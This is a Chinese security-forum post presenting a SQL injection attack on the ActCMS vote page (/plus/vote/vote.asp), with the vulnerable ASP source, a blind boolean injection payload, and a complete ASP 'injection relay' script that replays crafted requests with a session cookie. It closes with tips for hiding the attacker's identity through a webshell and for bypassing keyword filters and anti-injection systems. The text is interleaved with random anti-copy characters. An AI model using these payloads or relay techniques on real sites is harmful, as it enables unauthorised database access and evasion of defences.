找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2381|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

* @$ h5 t0 o" l; ~% A  v6 S( M, W看到ninty大牛的blog的一篇文章
" D, Y6 T, X: G* x- R) W5 f链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
5 `) t. ^) h; Y8 o关于actcms漏洞的利用  by 3x qq:381862589
9 I9 `( j+ i3 k" ~! h转载请注明以上; W4 G' L% K& h( m
漏洞文件:
* A( e) R# N, C8 }/ Q* f/plus/vote/vote.asp
; h, A! J7 \9 a6 m2 ^5 Y代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
8 S& p: h* ?# \. F  k$ n" p2 @, y& |
( N/ h9 \/ @+ n: ~* R2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   , x7 I  t8 x. X% l* Y8 S2 d

! |! B; u% G! Z- U" G' N3    response.end   
. _* t. ], [4 S# g' J% g9 |5 i" I# d( x+ t7 w+ G
4    end if   
! d4 a9 O. |# M& ~6 c" ^2 R% U7 z4 W, S  p
5    for i=1 to request("voted").count   
; u; y; A* Z& O* ~6 x9 U
. E& |1 y' ?, I* z7 K) b- m* [+ V" c6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
3 {4 S  E; k2 k! f
- Y3 B/ }8 ^8 y. L: y4 l$ i7    next    : G9 J5 k, h; D7 w; T
( M4 p2 F$ ~( Z3 y% s  H
8....   
2 U7 N4 p3 A6 g) R
8 G8 j8 [1 @" _- V+ b8 G- p9response.Redirect "index.asp?id="&id&""   
: O" p# `; D& D, ^0 e投票结束回跳转回index.asp这个投票结果页面
9 K9 n2 b/ W" G! q  h如果投票成功票数加1
- s& p3 Q8 h$ f. F; T/ l            失败票数不变; z% j" ]! N2 g9 P1 R$ ?
如图:+ T! A; N& t* U. j1 B  [! ~
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
0 c+ c$ }, Z* Z3 k& O: \' I
. Q+ r: A- ^, O- i% J1 u8 q2009-12-27 13:20
% E( R/ D: h3 n6 n: K
, B& ~' R% k* p0 M利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
% A+ }* ~( n  W( F) c6 k! H/ I) H. K9 o5 ~
本帖隐藏的内容需要回复才可以浏览
1 k: [; J4 Y. Z. a8 }/ c我们用注入中转来实现这个注入具体代码如下:
) }5 g% K. g* }先用寂寞的刺猬大牛的注入中转生成jmget.asp
3 }7 z) i% S' |0 U5 T! X' I5 p0 y注入地址:http://localhost/actcms/plus/vote/vote.asp, b& K+ C1 E+ \! N  [6 e, Z* c
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
5 Y, h8 K7 M& t7 t" B9 _( ]. i' Y- p3 f& j5 F9 g
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
  i0 Q4 q. @, Z, ]+ K! }' s- _
0 R- V  B( i/ S  W' |2 ?02JmdcwName=request("jmdcw") % @) T, Q. v/ G% _' x1 m% D

2 t3 i$ [# N# T# `' }1 `. n, B03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] $ r9 }6 K7 t; s/ F7 z

" Q+ [9 y3 Q& z0 ?04JmStr="id=1&voted=-1 or 1="&JmdcwName
; }/ H3 {; V' R0 g7 d
' X! I2 X' d, f; m$ C+ L2 E9 K05JmStr=URLEncoding(JmStr)
% z2 k% I' n1 a) O8 L2 ~- F
, c' h# T$ r# M+ K; _06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
: |" h4 }6 \3 `$ ~9 o6 z4 E1 h9 U! @5 L6 o. ]9 q. _
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
* i, N8 j& }* j# O4 ~  n
& K4 k  x4 Z; q! a  M" ^08testurl=testurl & "?" & JmStr
# _# y: g) J9 A5 `! b7 q  J
! ?  u9 [# v1 m- ?- e09JMUrl=JMUrl & "?" & JmStr / a7 j- R" G) k. J& ]' E

. E7 e3 {$ {$ _8 T6 Q, w10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"2 M* p, P$ Y1 p0 q0 [1 q$ l; Y6 K

, \6 V+ }; t% u& [  w11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"8 s* z# O% X% v3 ]) O) a

  o* l- `/ z8 \1 K12JmCok=replace(JmCok,chr(32),"%20")  
4 }& O2 t5 \# U9 H* v( Y7 I% o/ L  E# u
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 / b+ g5 m7 a# Y8 d
" p' p; u+ d( ^1 ]; K
14  
% L5 m6 L3 b& R7 A! `
2 g# I  N/ g  w8 v6 j  A15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
% P! j5 ]( X! x+ ?, k, C( C/ M4 g. U! p4 [# N% M
16  
, B* x& O6 V9 J  [+ w! R
2 f2 R3 W& o* Q5 Z17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 ( t* o1 F2 ?4 h; \5 A0 w

; O: x5 X* A( ~! R( C: Q4 Q9 z18response.write test1&""&test2&""
3 Y+ }+ E* i5 Z# i; O) _4 H* p8 G& o: P3 K( [0 W
19  
) Z* ]" M) a1 ~3 Y' S7 T
  z1 `, X2 J( U! H) i: t9 M20if test1=test2 then '如前后记录相等,表示失败
* F2 U1 N, ^4 Y# o# [- m4 K
& C5 |" w2 A) l! B$ J2 b6 s21  response.write "failed"
( L7 ]/ {) g0 V6 B- {- z' w3 x/ }1 s" w1 N3 [' N5 A
22else 5 K/ N6 y1 Z5 d* y- u9 B' Y/ @

0 ~! s0 y+ V; I" T) a23  response.write "succeed"& f9 n# B6 S3 d3 K$ T1 K7 W& X
  B8 P7 t! O+ T. y( C, e  q
24end if  
# N( H, E4 y, P" u" [1 E: t0 C7 D/ x
25  % {' O  a- j; X9 _# Z5 b

, r, T$ _- d* Y1 c# u. e26response.write "by 3x"
+ L$ f3 o: P& V5 _* K8 O
+ n& I4 k) m+ \3 q27  
3 [! Y* W9 Z5 k& R7 i+ O$ \7 a+ W9 f4 B+ d, r
28  $ [/ g' {* t1 z) B8 X: w
2 M4 ~) k: Z+ ]" l1 ?2 x! P
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   ' H3 p# ~; X  {0 G
$ G& d  r- d8 v
30Dim Http
* d: s; R. Q) l$ q/ s$ W( j# P% s: }- J: s" ]- M( k
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
& I$ z8 v2 f* |0 Z$ Q( n
2 f6 g9 k  I; X; p' \+ k$ l+ Y32With Http
8 v; I: p0 o  B3 h* G9 o7 u/ u' ]& v0 [$ Q; c% k
33  
  ]5 j* N5 d8 L( c1 ]) ~) y
+ d4 X8 d9 E" K+ X) N8 v& ?' J5 f6 i34.Open "GET",PostUrl,False
0 ?6 z) l; |3 B1 A! ~
$ o8 x5 P3 k9 E6 ?. p" l; f35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
4 }8 x: z6 k4 C* q0 E, V
# M; a0 l7 M, \$ }36.SetRequestHeader "Referer",PostRef ; Z5 E" h! f6 ~( A6 \4 t! M

/ Z' i, l3 p  S, h0 w: {37.SetRequestHeader "Cookie",PostCok
) Y0 N4 J: q' h
  I% {$ N7 Y- M3 Z+ c5 j4 }$ H1 h38.Send ()
1 g+ ~4 Y- Y& d6 T! s' a
1 o% L0 F" Q) ?1 v: a3 {39PostData = .ResponseBody & a: o# v, d2 \$ |" k. `, r

3 e  F8 u( W' ~5 X7 d! }40End With
+ ^8 v, i1 G' i9 l" |! _$ W) E. E" n0 b* ^. {
41Set Http = Nothing
- C1 P/ i( P9 D: I' G' ]$ P+ D# I
7 s' x+ h8 ?; @6 t! G$ a42PostData =bytes2BSTR(PostData) $ u( t) Z7 r4 @9 V" p8 f
  a- m4 Z' s9 ~
43End Function- L3 @# M! P! n% C, o
0 ?5 d7 u# O5 K4 b
44  
+ x1 o. g& X# W9 f
8 I9 s5 b: I+ @2 Y  ?+ Z& S45  
: S( }' D6 n4 z1 l3 K( |. a+ |; T6 L; d  H$ p; r: P, r
46Function bytes2BSTR(vIn) 4 u: f  |! ~! z' F( r: z$ Y

9 v% w; f( A( k47Dim strReturn
9 K4 ]+ G& L- j7 \
) R3 ^; r( V9 ^! u9 M, e48Dim I, ThisCharCode, NextCharCode
2 d2 D) |: i; r$ k9 _: ~. {" r
/ m( p5 @: @9 O: F: I5 ?49strReturn = ""
  _: t) Y4 r9 l+ v
/ p  W+ h. L: Q6 f/ d3 [+ K; U50For I = 1 To LenB(vIn) 3 g# c2 r$ o, `' ?1 W+ D, B+ Q
  D; j" X1 M6 x/ q0 d' l0 y
51ThisCharCode = AscB(MidB(vIn, I, 1)) % u; W+ w5 I, B9 B: e
( t; F; l4 N; Y, B
52If ThisCharCode < &H80 Then
: _) _+ t) y2 K) @% J- n: h
! p/ h1 [. v: L1 F( N1 p53strReturn = strReturn & Chr(ThisCharCode) ) j' Y! U' l* t7 |  V# x% U
# }% x. Q2 w1 Y8 {/ ~! }) w5 k" N/ E$ `
54Else
5 u8 A- _- U( q' q# P$ l( }4 e2 G, p4 G- K2 z
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
- ~$ A# {6 @$ m9 Y1 H# x9 W/ k4 K; j- U) z3 [
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 3 u2 _5 [3 t8 d
! @/ |$ q2 q5 d  J# @# @
57I = I + 1
5 }. s6 W* k8 t" D# v% b9 H, N% b9 C! C; ~7 \! O3 v2 ?9 i. F
58End If# V7 Y& n* q: y% e, v3 H7 i
9 J( w% c( C6 X) O
59Next
$ L) I" V. r6 \6 S) Q' p: G% W  o$ [' m
60bytes2BSTR = strReturn
' s# ]- l( O. Z8 n  b
5 W! B2 j( [% K61End Function
" ]# i  U$ n' }
+ H$ ?! g& X5 E& |62  6 I' O; }/ w# `9 {- ^9 }! D+ ^1 k
, R& ?  p( y/ ]/ M
63Function URLEncoding(vstrin)  
: W+ S: h/ f* L" {) e# a. j3 I4 L. N" N
64strReturn=""
0 B9 I% t* W9 o! e3 [
5 U& g( B& t+ y4 M& `! m65Dim i 2 L& y2 x6 T8 n
, {  c$ J4 Y  ?# o' V5 w/ r9 _
66For i=1 To Len(vstrin) ( R* V# f/ b) Q6 l  `4 |6 x
; N2 D& o* V9 Q: C  y
67ThisChr=Mid(vstrin,i,1) ! m# U6 g7 c: a9 I, @
  e$ D) F1 T7 b# o3 \2 W% L
68if Abs(Asc(ThisChr))< &HFF Then2 k7 L1 O5 g' ^) x1 k8 q, K$ }4 d  ~

) `5 U, G* o) y. P# m; q! |5 r) l69strReturn=strReturn & ThisChr
  N9 P( b# i& x& s3 t7 t0 ?, k$ ~* M% i. Y2 y
70Else
8 k- ]' L) {6 I  J. ~1 N; [: i. w2 I# j) \, L
71InnerCode=Asc(ThisChr)
9 q4 g! B6 ^) ]- ~5 w( n) E8 w
; s8 H  j' m7 o! v8 Y+ q' h. L72If InnerCode<0 Then, R. V: U$ n# G( l$ B
8 \7 m6 d8 i2 {: C+ ]
73InnerCode=InnerCode + &H10000 8 P0 H( N- m' p/ @

5 G3 o% H4 L. s. d- g9 [! D# T5 O74End If
; e2 G+ E  k9 v) H
4 A' _7 L2 P1 ^4 r" f) k7 {  r; K* `7 A75Hight1=(InnerCode And &HFF00) \&HFF
9 D4 \; [7 j- x+ s: R. {
6 f: m' E/ w( o( j76Low1=InnerCode And &HFF 6 q. ~! H: u. O
- b; B/ [% p$ j$ C4 c
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
$ j# l1 D1 Y  f  b9 M$ x
1 M2 |( F$ c; S+ p# H  }78End if 0 g# d! n. z  x3 A3 l, U

* e! s- n9 K3 Y- E7 N+ d79Next+ L! D( y5 K' f2 S6 }
4 U( S9 ]3 Q: p  f
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 / p; c5 {" }$ f! c

& B. w0 z- O. b# i5 d4 T1 d3 B81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
1 H' I; F+ @) C- N- h, y% ?
# a; B. e* N1 h82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
6 ]4 f/ c# `4 B0 Y, c: v1 `% {& ^/ U6 L
83URLEncoding=strReturn . K* d" E. a  g% Y. B
5 Z+ i$ {) H3 `; c* q! @2 }
84End Function" U4 Y5 J0 g: X7 O( e
) N( F( J& w' y, a+ A7 p0 K
85  
! y. U! T% x$ @% W* [' X8 c# n  g/ |0 ~! [8 g- x* X" X1 N
86function getSt(body) ) v8 u  h# @& @3 `* @7 a, d" w
2 _2 R3 P9 L4 Y9 g8 [8 b3 M& d( p" I% y
87  startpot=instr(body,"投票人数:")+len("投票人数:") & J. h: J+ l( o0 U
0 a: L6 l# ]' J' A4 j
88  endpot=instr(startpot,body," ")
1 Z5 p8 a. G, ]- s+ H/ R8 o& x. _+ d$ i2 q$ s+ ~
89  getSt=mid(body,startpot,endpot-startpot)
# Y; U3 L* M9 K" J6 x( ?* [! C! L5 T1 P
90end function
  D; O* q) W0 C4 w. M
( z: l+ t9 x" K) h0 k91%>" V6 M  |$ J( ?1 _2 c- C# B
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了) n- j% s! l* _4 ?" e
测试下效果:8 }8 [7 [$ W( G5 |* d: g1 e
投票成功:
- C; g& n$ n0 Rhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
% T6 f4 ]: K, r  ]6 G  }) @0 X3 H  K' I8 ~
2009-12-27 13:29
6 G- j" P, T) k" @1 W* g6 l投票失败: D3 n) G: R+ M& m5 \
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)% \  A# c4 g/ z2 i8 D& f3 [3 _
/ u6 ^' j4 y6 n# ]( G) x
2009-12-27 13:29
% l5 S3 }6 r. {, \' i  ?-------------------------------------------------------------------------------
- {: f; X; u/ [( h. f7 D再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
' N, O7 h  y" ~4 s% w$ j2 l很抱歉。。。只能用单线程工具去注入。。。。。
8 E) n) S/ H* `3 T0 |所以失败。。。不好意思。。。' n' a- w4 t" k1 |% e& W: j
-------------------------------------------------------------------------------
  Y; V0 l& B$ U, l! g. A  V. C/ V7 T( W  ^
注入中转的一些其他应用$ c6 J3 g/ V1 L
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
3 o: G; ?( i9 a3 w9 G& D2 N1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id" Y+ E4 ]: ^# j" g
2.post注入转成get型的注入,方便我们使用工具来跑2 W* E. e; S1 g+ H; j) P6 I( }& S
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
( l+ a! @4 d1 T3 F: D6 @# I4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过1 f; \  d' N! a- b2 ?

8 h9 O& G( Z! i  i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表